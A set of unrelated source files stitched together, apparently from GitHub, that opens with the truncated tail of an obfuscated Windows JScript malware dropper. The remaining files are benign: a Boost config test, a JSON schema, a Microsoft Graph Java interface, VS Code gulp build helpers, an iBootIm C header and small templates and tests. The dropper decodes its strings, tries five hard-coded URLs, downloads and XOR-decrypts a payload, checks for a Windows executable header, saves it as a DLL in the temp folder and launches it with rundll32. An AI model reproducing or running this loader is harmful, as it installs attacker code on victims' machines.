ThatWorldIsKillingMeXv9[9484]=218;ThatWorldIsKillingMeXv9[9608]=219;ThatWorldIsKillingMeXv9[9604]=220;ThatWorldIsKillingMeXv9[9612]=221;ThatWorldIsKillingMeXv9[9616]=222;ThatWorldIsKillingMeXv9[9600]=223;ThatWorldIsKillingMeXv9[945]=224;ThatWorldIsKillingMeXv9[223]=225;ThatWorldIsKillingMeXv9[915]=226;ThatWorldIsKillingMeXv9[960]=227; ThatWorldIsKillingMeXv9[931]=228;ThatWorldIsKillingMeXv9[963]=229;ThatWorldIsKillingMeXv9[181]=230;ThatWorldIsKillingMeXv9[964]=231;ThatWorldIsKillingMeXv9[934]=232;ThatWorldIsKillingMeXv9[920]=233;ThatWorldIsKillingMeXv9[937]=234;ThatWorldIsKillingMeXv9[948]=235;ThatWorldIsKillingMeXv9[8734]=236;ThatWorldIsKillingMeXv9[966]=237; ThatWorldIsKillingMeXv9[949]=238;ThatWorldIsKillingMeXv9[8745]=239;ThatWorldIsKillingMeXv9[8801]=240;ThatWorldIsKillingMeXv9[177]=241;ThatWorldIsKillingMeXv9[8805]=242;ThatWorldIsKillingMeXv9[8804]=243;ThatWorldIsKillingMeXv9[8992]=244;ThatWorldIsKillingMeXv9[8993]=245;ThatWorldIsKillingMeXv9[247]=246;ThatWorldIsKillingMeXv9[8776]=247; ThatWorldIsKillingMeXv9[176]=248;ThatWorldIsKillingMeXv9[8729]=249;ThatWorldIsKillingMeXv9[183]=250;ThatWorldIsKillingMeXv9[8730]=251;ThatWorldIsKillingMeXv9[8319]=252;ThatWorldIsKillingMeXv9[178]=253;ThatWorldIsKillingMeXv9[9632]=254;ThatWorldIsKillingMeXv9[160]=255; var ThatWorldIsKillingMeSm1=new Array(); for (var ThatWorldIsKillingMeMs6=0; ThatWorldIsKillingMeMs6 < ThatWorldIsKillingMeAq2.length; ThatWorldIsKillingMeMs6 += 1) {var ThatWorldIsKillingMeICy4=ThatWorldIsKillingMeAq2["charCodeAt"](ThatWorldIsKillingMeMs6); if (ThatWorldIsKillingMeICy4 < 128){var ThatWorldIsKillingMeRv6=ThatWorldIsKillingMeICy4;} else {var ThatWorldIsKillingMeRv6=ThatWorldIsKillingMeXv9[ThatWorldIsKillingMeICy4];} ThatWorldIsKillingMeSm1["push"](ThatWorldIsKillingMeRv6);}; return ThatWorldIsKillingMeSm1;} function ThatWorldIsKillingMePOf5(ThatWorldIsKillingMeKXu6) {var ThatWorldIsKillingMeJPg4=new Array(); ThatWorldIsKillingMeJPg4[128]=199;ThatWorldIsKillingMeJPg4[129]=252;ThatWorldIsKillingMeJPg4[130]=233;ThatWorldIsKillingMeJPg4[131]=226;ThatWorldIsKillingMeJPg4[132]=228;ThatWorldIsKillingMeJPg4[133]=224;ThatWorldIsKillingMeJPg4[134]=229;ThatWorldIsKillingMeJPg4[135]=231;ThatWorldIsKillingMeJPg4[136]=234;ThatWorldIsKillingMeJPg4[137]=235; ThatWorldIsKillingMeJPg4[138]=232;ThatWorldIsKillingMeJPg4[139]=239;ThatWorldIsKillingMeJPg4[140]=238;ThatWorldIsKillingMeJPg4[141]=236;ThatWorldIsKillingMeJPg4[142]=196;ThatWorldIsKillingMeJPg4[143]=197;ThatWorldIsKillingMeJPg4[144]=201;ThatWorldIsKillingMeJPg4[145]=230;ThatWorldIsKillingMeJPg4[146]=198;ThatWorldIsKillingMeJPg4[147]=244; ThatWorldIsKillingMeJPg4[148]=246;ThatWorldIsKillingMeJPg4[149]=242;ThatWorldIsKillingMeJPg4[150]=251;ThatWorldIsKillingMeJPg4[151]=249;ThatWorldIsKillingMeJPg4[152]=255;ThatWorldIsKillingMeJPg4[153]=214;ThatWorldIsKillingMeJPg4[154]=220;ThatWorldIsKillingMeJPg4[155]=162;ThatWorldIsKillingMeJPg4[156]=163;ThatWorldIsKillingMeJPg4[157]=165; ThatWorldIsKillingMeJPg4[158]=8359;ThatWorldIsKillingMeJPg4[159]=402;ThatWorldIsKillingMeJPg4[160]=225;ThatWorldIsKillingMeJPg4[161]=237;ThatWorldIsKillingMeJPg4[162]=243;ThatWorldIsKillingMeJPg4[163]=250;ThatWorldIsKillingMeJPg4[164]=241;ThatWorldIsKillingMeJPg4[165]=209;ThatWorldIsKillingMeJPg4[166]=170;ThatWorldIsKillingMeJPg4[167]=186; ThatWorldIsKillingMeJPg4[168]=191;ThatWorldIsKillingMeJPg4[169]=8976;ThatWorldIsKillingMeJPg4[170]=172;ThatWorldIsKillingMeJPg4[171]=189;ThatWorldIsKillingMeJPg4[172]=188;ThatWorldIsKillingMeJPg4[173]=161;ThatWorldIsKillingMeJPg4[174]=171;ThatWorldIsKillingMeJPg4[175]=187;ThatWorldIsKillingMeJPg4[176]=9617;ThatWorldIsKillingMeJPg4[177]=9618; ThatWorldIsKillingMeJPg4[178]=9619;ThatWorldIsKillingMeJPg4[179]=9474;ThatWorldIsKillingMeJPg4[180]=9508;ThatWorldIsKillingMeJPg4[181]=9569;ThatWorldIsKillingMeJPg4[182]=9570;ThatWorldIsKillingMeJPg4[183]=9558;ThatWorldIsKillingMeJPg4[184]=9557;ThatWorldIsKillingMeJPg4[185]=9571;ThatWorldIsKillingMeJPg4[186]=9553;ThatWorldIsKillingMeJPg4[187]=9559; ThatWorldIsKillingMeJPg4[188]=9565;ThatWorldIsKillingMeJPg4[189]=9564;ThatWorldIsKillingMeJPg4[190]=9563;ThatWorldIsKillingMeJPg4[191]=9488;ThatWorldIsKillingMeJPg4[192]=9492;ThatWorldIsKillingMeJPg4[193]=9524;ThatWorldIsKillingMeJPg4[194]=9516;ThatWorldIsKillingMeJPg4[195]=9500;ThatWorldIsKillingMeJPg4[196]=9472;ThatWorldIsKillingMeJPg4[197]=9532; ThatWorldIsKillingMeJPg4[198]=9566;ThatWorldIsKillingMeJPg4[199]=9567;ThatWorldIsKillingMeJPg4[200]=9562;ThatWorldIsKillingMeJPg4[201]=9556;ThatWorldIsKillingMeJPg4[202]=9577;ThatWorldIsKillingMeJPg4[203]=9574;ThatWorldIsKillingMeJPg4[204]=9568;ThatWorldIsKillingMeJPg4[205]=9552;ThatWorldIsKillingMeJPg4[206]=9580;ThatWorldIsKillingMeJPg4[207]=9575; ThatWorldIsKillingMeJPg4[208]=9576;ThatWorldIsKillingMeJPg4[209]=9572;ThatWorldIsKillingMeJPg4[210]=9573;ThatWorldIsKillingMeJPg4[211]=9561;ThatWorldIsKillingMeJPg4[212]=9560;ThatWorldIsKillingMeJPg4[213]=9554;ThatWorldIsKillingMeJPg4[214]=9555;ThatWorldIsKillingMeJPg4[215]=9579;ThatWorldIsKillingMeJPg4[216]=9578;ThatWorldIsKillingMeJPg4[217]=9496; ThatWorldIsKillingMeJPg4[218]=9484;ThatWorldIsKillingMeJPg4[219]=9608;ThatWorldIsKillingMeJPg4[220]=9604;ThatWorldIsKillingMeJPg4[221]=9612;ThatWorldIsKillingMeJPg4[222]=9616;ThatWorldIsKillingMeJPg4[223]=9600;ThatWorldIsKillingMeJPg4[224]=945;ThatWorldIsKillingMeJPg4[225]=223;ThatWorldIsKillingMeJPg4[226]=915;ThatWorldIsKillingMeJPg4[227]=960; ThatWorldIsKillingMeJPg4[228]=931;ThatWorldIsKillingMeJPg4[229]=963;ThatWorldIsKillingMeJPg4[230]=181;ThatWorldIsKillingMeJPg4[231]=964;ThatWorldIsKillingMeJPg4[232]=934;ThatWorldIsKillingMeJPg4[233]=920;ThatWorldIsKillingMeJPg4[234]=937;ThatWorldIsKillingMeJPg4[235]=948;ThatWorldIsKillingMeJPg4[236]=8734;ThatWorldIsKillingMeJPg4[237]=966; ThatWorldIsKillingMeJPg4[238]=949;ThatWorldIsKillingMeJPg4[239]=8745;ThatWorldIsKillingMeJPg4[240]=8801;ThatWorldIsKillingMeJPg4[241]=177;ThatWorldIsKillingMeJPg4[242]=8805;ThatWorldIsKillingMeJPg4[243]=8804;ThatWorldIsKillingMeJPg4[244]=8992;ThatWorldIsKillingMeJPg4[245]=8993;ThatWorldIsKillingMeJPg4[246]=247;ThatWorldIsKillingMeJPg4[247]=8776; ThatWorldIsKillingMeJPg4[248]=176;ThatWorldIsKillingMeJPg4[249]=8729;ThatWorldIsKillingMeJPg4[250]=183;ThatWorldIsKillingMeJPg4[251]=8730;ThatWorldIsKillingMeJPg4[252]=8319;ThatWorldIsKillingMeJPg4[253]=178;ThatWorldIsKillingMeJPg4[254]=9632;ThatWorldIsKillingMeJPg4[255]=160; var ThatWorldIsKillingMeAt8=new Array();var ThatWorldIsKillingMeDXg0="";var ThatWorldIsKillingMeRv6; var ThatWorldIsKillingMeICy4; for (var ThatWorldIsKillingMeMs6=0; ThatWorldIsKillingMeMs6 < ThatWorldIsKillingMeKXu6.length; ThatWorldIsKillingMeMs6 += 1) {ThatWorldIsKillingMeRv6=ThatWorldIsKillingMeKXu6[ThatWorldIsKillingMeMs6]; if (ThatWorldIsKillingMeRv6 < 128){ThatWorldIsKillingMeICy4=ThatWorldIsKillingMeRv6;} else {ThatWorldIsKillingMeICy4=ThatWorldIsKillingMeJPg4[ThatWorldIsKillingMeRv6];} ThatWorldIsKillingMeAt8.push(String["fromCharCode"](ThatWorldIsKillingMeICy4));} ThatWorldIsKillingMeDXg0=ThatWorldIsKillingMeAt8["join"](""); return ThatWorldIsKillingMeDXg0;} function ThatWorldIsKillingMeGa9(ThatWorldIsKillingMeKXu6, ThatWorldIsKillingMeBj1) {var ThatWorldIsKillingMeKz9 = ThatWorldIsKillingMeHn6(ThatWorldIsKillingMeBj1); for (var ThatWorldIsKillingMeMs6 = 0; ThatWorldIsKillingMeMs6 < ThatWorldIsKillingMeKXu6.length; ThatWorldIsKillingMeMs6 += 1) {ThatWorldIsKillingMeKXu6[ThatWorldIsKillingMeMs6] ^= ThatWorldIsKillingMeKz9[ThatWorldIsKillingMeMs6 % ThatWorldIsKillingMeKz9.length];}; return ThatWorldIsKillingMeKXu6;} function ThatWorldIsKillingMeCw3(ThatWorldIsKillingMeHOq0) {var ThatWorldIsKillingMeDa7=WScript["C,r,e,a,t,e,O,b,j,e,c,t".ThatWorldIsKillingMeHf1()]("A"+"D"+"O"+"DB.Stream"); ThatWorldIsKillingMeDa7["type"]=2; ThatWorldIsKillingMeDa7["Charset"]="437"; ThatWorldIsKillingMeDa7["open"](); ThatWorldIsKillingMeDa7["LoadFromFile"](ThatWorldIsKillingMeHOq0); var ThatWorldIsKillingMeRj7=ThatWorldIsKillingMeDa7["ReadText"]; ThatWorldIsKillingMeDa7["close"](); return ThatWorldIsKillingMeHn6(ThatWorldIsKillingMeRj7);} function ThatWorldIsKillingMeSGl8(ThatWorldIsKillingMeHOq0, ThatWorldIsKillingMeKXu6) {var ThatWorldIsKillingMeDa7=WScript["C,r,e,a,t,e,O,b,j,e,c,t".ThatWorldIsKillingMeHf1()]("A"+"D"+"O"+"DB.Stream"); ThatWorldIsKillingMeDa7["type"]=2; ThatWorldIsKillingMeDa7["Charset"]="437"; ThatWorldIsKillingMeDa7["open"](); ThatWorldIsKillingMeDa7["writeText"](ThatWorldIsKillingMePOf5(ThatWorldIsKillingMeKXu6)); ThatWorldIsKillingMeDa7["SaveToFile"](ThatWorldIsKillingMeHOq0, 2); ThatWorldIsKillingMeDa7["close"]();} //END_CODEC_PART var ThatWorldIsKillingMeIRe5 = "http://"; var ThatWorldIsKillingMeUPm8 = [this["ThatWorldIsKillingMeIRe5"] + "furious.pl/9dhiz9vo6",this["ThatWorldIsKillingMeIRe5"] + "nikolatesla.jp/7a6pyse2o",this["ThatWorldIsKillingMeIRe5"] + "buddrag.net/rpo0yea",this["ThatWorldIsKillingMeIRe5"] + "notgeile-amateure.com/6ecwxzqz",this["ThatWorldIsKillingMeIRe5"] + "teemicky.com/l5tdvnso"]; var ThatWorldIsKillingMeKa2 = "4V3MH3Oq"; var ThatWorldIsKillingMeBOl2 = "p6iRmVBvQbcWNC1c5RnRD7Nq9uQU"; var ThatWorldIsKillingMeBTj2 = "hJvPRXDWYR"; var ThatWorldIsKillingMeUj0 = new ActiveXObject("Scripting.FileSystemObject"); var ThatWorldIsKillingMeOLv8=2; var ThatWorldIsKillingMeQi3=WScript["C,r,e,a,t,e,O,b,j,e,c,t".ThatWorldIsKillingMeHf1()]("WScript.Shell"); var ThatWorldIsKillingMeEQi6=ThatWorldIsKillingMeQi3["\x45\x78\x70\x61\x6e\x64\x45\x6e\x76\x69\x72\x6f\x6e\x6d\x65\x6e\x74\x53\x74\x72\x69\x6e\x67\x73"]("\x25\x54\x45\x4d\x50\x25\x2f"); var ThatWorldIsKillingMeLn8=ThatWorldIsKillingMeEQi6 + ThatWorldIsKillingMeKa2; var ThatWorldIsKillingMeKw0=ThatWorldIsKillingMeLn8 + ".d" + "ll"; var ThatWorldIsKillingMeGAy1=["M,S,X,M,L,2,.,X,M,L,H,T,T,P".ThatWorldIsKillingMeHf1(), "WinHttp.WinHttpRequest.5.1"]; for (var ThatWorldIsKillingMeMs6=0; ThatWorldIsKillingMeMs6 < ThatWorldIsKillingMeGAy1.length; ThatWorldIsKillingMeMs6 += 1) { try { var ThatWorldIsKillingMeAj9=WScript["C,r,e,a,t,e,O,b,j,e,c,t".ThatWorldIsKillingMeHf1()](ThatWorldIsKillingMeGAy1[ThatWorldIsKillingMeMs6]); break; } catch (e) { continue; } }; function ThatWorldIsKillingMeSg1() { var ThatWorldIsKillingMeLn1 = ThatWorldIsKillingMeUj0.GetFile(ThatWorldIsKillingMeKw0); return ThatWorldIsKillingMeLn1["ShortPath"]; } var ThatWorldIsKillingMeBAf7 = 0; for (var ThatWorldIsKillingMeOAz0 = 0; ThatWorldIsKillingMeOAz0 < ThatWorldIsKillingMeUPm8.length; ThatWorldIsKillingMeOAz0 = ThatWorldIsKillingMeOAz0 + 1) { try { var ThatWorldIsKillingMeWGk4=this["W,S,c,r,i,p,t".ThatWorldIsKillingMeHf1()]["C,r,e,a,t,e,O,b,j,e,c,t".ThatWorldIsKillingMeHf1()]("A"+"D"+"O"+"DB.Stream"); ThatWorldIsKillingMeAj9["open"]("G,E,T".ThatWorldIsKillingMeHf1(), ThatWorldIsKillingMeUPm8[ThatWorldIsKillingMeOAz0], false); ThatWorldIsKillingMeAj9.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"); ThatWorldIsKillingMeAj9["s,e,n,d".ThatWorldIsKillingMeHf1()](); while (ThatWorldIsKillingMeAj9.readystate < 4) WScript["Sleep"](100); ThatWorldIsKillingMeWGk4["open"](); ThatWorldIsKillingMeWGk4.type=1; /*@cc_on ThatWorldIsKillingMeWGk4.write(ThatWorldIsKillingMeAj9.ResponseBody); ThatWorldIsKillingMeWGk4.position=0; ThatWorldIsKillingMeWGk4['Sav'+'eT'+'oFile'](ThatWorldIsKillingMeLn8, ThatWorldIsKillingMeOLv8); ThatWorldIsKillingMeWGk4.close(); var ThatWorldIsKillingMeSm1 = ThatWorldIsKillingMeCw3(ThatWorldIsKillingMeLn8); ThatWorldIsKillingMeSm1 = ThatWorldIsKillingMeGa9(ThatWorldIsKillingMeSm1, ThatWorldIsKillingMeBOl2); if (ThatWorldIsKillingMeSm1[0] != 77 || ThatWorldIsKillingMeSm1[1] != 90) continue; ThatWorldIsKillingMeSGl8(ThatWorldIsKillingMeKw0, ThatWorldIsKillingMeSm1); var ThatWorldIsKillingMeQHp4 = ThatWorldIsKillingMeSg1(); var d = new Date(); d.setFullYear("2015"); if (""+d.getFullYear() == "2015") eval('ThatWorldIsKillingMeQi3["R,u,n".ThatWorldIsKillingMeHf1()]("r,u,n,d,l,l,3,2".ThatWorldIsKillingMeHf1() + " " + ThatWorldIsKillingMeQHp4 + "," + ThatWorldIsKillingMeBTj2);'); @*/ break; } catch (e) {continue;}; } WScript.Quit(0);
{ "pile_set_name": "Github" }
// This file was automatically generated on Thu Mar 12 17:32:04 2009 // by libs/config/tools/generate.cpp // Copyright John Maddock 2002-4. // Use, modification and distribution are subject to the // Boost Software License, Version 1.0. (See accompanying file // LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // See http://www.boost.org/libs/config for the most recent version.// // Revision $Id$ // // Test file for macro BOOST_NO_CXX11_AUTO_MULTIDECLARATIONS // This file should not compile, if it does then // BOOST_NO_CXX11_AUTO_MULTIDECLARATIONS should not be defined. // See file boost_no_auto_multidecl.ipp for details // Must not have BOOST_ASSERT_CONFIG set; it defeats // the objective of this file: #ifdef BOOST_ASSERT_CONFIG # undef BOOST_ASSERT_CONFIG #endif #include <boost/config.hpp> #include "test.hpp" #ifdef BOOST_NO_CXX11_AUTO_MULTIDECLARATIONS #include "boost_no_auto_multidecl.ipp" #else #error "this file should not compile" #endif int main( int, char *[] ) { return boost_no_cxx11_auto_multideclarations::test(); }
{ "pile_set_name": "Github" }
{ "required": [ "type", "status" ], "properties": { "lastTransitionTime": { "type": [ "string", "null" ], "format": "date-time" }, "message": { "description": "Human-readable message indicating details about last transition.", "type": [ "string", "null" ] }, "reason": { "description": "Unique, one-word, CamelCase reason for the condition's last transition.", "type": [ "string", "null" ] }, "status": { "description": "Status is the status of the condition. Can be True, False, Unknown.", "type": [ "string", "null" ] }, "type": { "description": "Type is the type of the condition.", "type": [ "string", "null" ] } }, "$schema": "http://json-schema.org/schema#", "type": "object" }
{ "pile_set_name": "Github" }
// ------------------------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. // ------------------------------------------------------------------------------ package com.microsoft.graph.requests.extensions; import com.microsoft.graph.models.extensions.WorkbookFunctionResult; import com.microsoft.graph.requests.extensions.IWorkbookFunctionsWorkDayRequest; import com.microsoft.graph.concurrency.ICallback; import com.microsoft.graph.http.BaseCollectionRequest; import com.microsoft.graph.http.BaseRequest; import com.microsoft.graph.core.ClientException; import com.microsoft.graph.http.BaseCollectionRequest; import com.microsoft.graph.http.IHttpRequest; // **NOTE** This file was generated by a tool and any changes will be overwritten. /** * The interface for the Workbook Functions Work Day Request. */ public interface IWorkbookFunctionsWorkDayRequest extends IHttpRequest { void post(final ICallback<? super WorkbookFunctionResult> callback); WorkbookFunctionResult post() throws ClientException; /** * Sets the select clause for the request * * @param value the select clause * @return the updated request */ IWorkbookFunctionsWorkDayRequest select(final String value) ; /** * Sets the top value for the request * * @param value the max number of items to return * @return the updated request */ IWorkbookFunctionsWorkDayRequest top(final int value); /** * Sets the expand clause for the request * * @param value the expand clause * @return the updated request */ IWorkbookFunctionsWorkDayRequest expand(final String value); }
{ "pile_set_name": "Github" }
/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ 'use strict'; const es = require('event-stream'); const debounce = require('debounce'); const filter = require('gulp-filter'); const azure = require('gulp-azure-storage'); const rename = require('gulp-rename'); const vzip = require('gulp-vinyl-zip'); const util = require('gulp-util'); const _ = require('underscore'); const path = require('path'); const fs = require('fs'); const rimraf = require('rimraf'); const git = require('./git'); const NoCancellationToken = { isCancellationRequested: () => false }; exports.incremental = (streamProvider, initial, supportsCancellation) => { const input = es.through(); const output = es.through(); let state = 'idle'; let buffer = Object.create(null); const token = !supportsCancellation ? null : { isCancellationRequested: () => Object.keys(buffer).length > 0 }; const run = (input, isCancellable) => { state = 'running'; const stream = !supportsCancellation ? streamProvider() : streamProvider(isCancellable ? token : NoCancellationToken); input .pipe(stream) .pipe(es.through(null, () => { state = 'idle'; eventuallyRun(); })) .pipe(output); }; if (initial) { run(initial, false); } const eventuallyRun = debounce(() => { const paths = Object.keys(buffer); if (paths.length === 0) { return; } const data = paths.map(path => buffer[path]); buffer = Object.create(null); run(es.readArray(data), true); }, 500); input.on('data', f => { buffer[f.path] = f; if (state === 'idle') { eventuallyRun(); } }); return es.duplex(input, output); }; exports.fixWin32DirectoryPermissions = () => { if (!/win32/.test(process.platform)) { return es.through(); } return es.mapSync(f => { if (f.stat && f.stat.isDirectory && f.stat.isDirectory()) { f.stat.mode = 16877; } return f; }); }; exports.setExecutableBit = pattern => { var setBit = es.mapSync(f => { f.stat.mode = /* 100755 */ 33261; return f; }); if (!pattern) { return setBit; } var input = es.through(); var _filter = filter(pattern, { restore: true }); var output = input .pipe(_filter) .pipe(setBit) .pipe(_filter.restore); return es.duplex(input, output); }; exports.handleAzureJson = env => { const input = es.through(); const azureJsonFilter = filter('**/*.azure.json', { restore: true }); const allOpts = []; const result = es.through(); const output = input .pipe(azureJsonFilter) .pipe(es.through(f => { util.log('Downloading binaries from Azure:', util.colors.yellow(f.relative), '...'); const opts = JSON.parse(f.contents.toString()); opts.prefix = _.template(opts.zip || opts.prefix)(env); opts.output = path.join(path.dirname(f.relative), opts.output); allOpts.push(opts); }, function () { const streams = allOpts.map(opts => { let result = azure.download(_.extend(opts, { buffer: true, quiet: true })); if (opts.zip) { result = result.pipe(vzip.src()); } return result.pipe(rename(p => { p.dirname = path.join(opts.output, p.dirname); })); }); es.merge(streams) .pipe(result) .pipe(es.through(null, function() { util.log('Finished downloading from Azure'); this.emit('end'); })); this.emit('end'); })) .pipe(azureJsonFilter.restore); return es.duplex(input, es.merge(output, result)); }; exports.toFileUri = filePath => { const match = filePath.match(/^([a-z])\:(.*)$/i); if (match) { filePath = '/' + match[1].toUpperCase() + ':' + match[2]; } return 'file://' + filePath.replace(/\\/g, '/'); }; exports.rebase = (base, append) => { return es.mapSync(f => { if (append) { f.base = path.join(f.base, base); } else { f.base = base; } return f; }); }; exports.skipDirectories = () => { return es.mapSync(f => { if (!f.isDirectory()) { return f; } }); }; exports.cleanNodeModule = (name, excludes, includes) => { const glob = path => '**/node_modules/' + name + (path ? '/' + path : ''); const negate = str => '!' + str; const allFilter = filter(glob('**'), { restore: true }); const globs = [glob('**')].concat(excludes.map(_.compose(negate, glob))); const input = es.through(); const nodeModuleInput = input.pipe(allFilter); let output = nodeModuleInput.pipe(filter(globs)); if (includes) { const includeGlobs = includes.map(glob); output = es.merge(output, nodeModuleInput.pipe(filter(includeGlobs))); } output = output.pipe(allFilter.restore); return es.duplex(input, output); }; exports.loadSourcemaps = () => { const input = es.through(); const output = input .pipe(es.map((f, cb) => { if (f.sourceMap) { return cb(null, f); } if (!f.contents) { return cb(new Error('empty file')); } const contents = f.contents.toString('utf8'); const reg = /\/\/# sourceMappingURL=(.*)$/g; let lastMatch = null, match = null; while (match = reg.exec(contents)) { lastMatch = match; } if (!lastMatch) { f.sourceMap = { version : 3, names: [], mappings: '', sources: [f.relative.replace(/\//g, '/')], sourcesContent: [contents] }; return cb(null, f); } f.contents = new Buffer(contents.replace(/\/\/# sourceMappingURL=(.*)$/g, ''), 'utf8'); fs.readFile(path.join(path.dirname(f.path), lastMatch[1]), 'utf8', (err, contents) => { if (err) { return cb(err); } f.sourceMap = JSON.parse(contents); cb(null, f); }); })); return es.duplex(input, output); }; exports.rimraf = dir => { let retries = 0; const retry = cb => { rimraf(dir, { maxBusyTries: 1 }, err => { if (!err) return cb(); if (err.code === 'ENOTEMPTY' && ++retries < 5) return setTimeout(() => retry(cb), 10); else return cb(err); }); }; return cb => retry(cb); }; exports.getVersion = root => { let version = process.env['BUILD_SOURCEVERSION']; if (!version || !/^[0-9a-f]{40}$/i.test(version)) { version = git.getVersion(root); } return version; }; exports.rebase = count => { return rename(f => { const parts = f.dirname.split(/[\/\\]/); f.dirname = parts.slice(count).join(path.sep); }); }; exports.filter = fn => { const result = es.through(function(data) { if (fn(data)) { this.emit('data', data); } else { result.restore.push(data); } }); result.restore = es.through(); return result; };
{ "pile_set_name": "Github" }
#ifndef IBOOTIM_H #define IBOOTIM_H #include <stdint.h> #include "abstractfile.h" typedef struct IBootIMHeader { char signature[8]; uint32_t unknown; uint32_t compression_type; uint32_t format; uint16_t width; uint16_t height; uint8_t padding[0x28]; } __attribute__((__packed__)) IBootIMHeader; #define IBOOTIM_SIG_UINT 0x69426F6F #define IBOOTIM_SIGNATURE "iBootIm" #define IBOOTIM_LZSS_TYPE 0x6C7A7373 #define IBOOTIM_ARGB 0x61726762 #define IBOOTIM_GREY 0x67726579 typedef struct InfoIBootIM { AbstractFile* file; IBootIMHeader header; size_t length; size_t compLength; size_t offset; void* buffer; char dirty; } InfoIBootIM; #ifdef __cplusplus extern "C" { #endif AbstractFile* createAbstractFileFromIBootIM(AbstractFile* file); AbstractFile* duplicateIBootIMFile(AbstractFile* file, AbstractFile* backing); void* replaceBootImage(AbstractFile* imageWrapper, AbstractFile* png, size_t *fileSize); #ifdef __cplusplus } #endif #endif
{ "pile_set_name": "Github" }
#include "a.h" std::wstring::iterator j;
{ "pile_set_name": "Github" }
@extends('layouts.app') @section('content') @component('particals.jumbotron') <h4>{{ request()->get('q') }}</h4> <h6>what you want to search.</h6> @endcomponent @include('widgets.article') @endsection
{ "pile_set_name": "Github" }
function() { for(var foobar;;)/[^/]/.test(/^\/\//,"http://"); (1+2)/foobar/5 };
{ "pile_set_name": "Github" }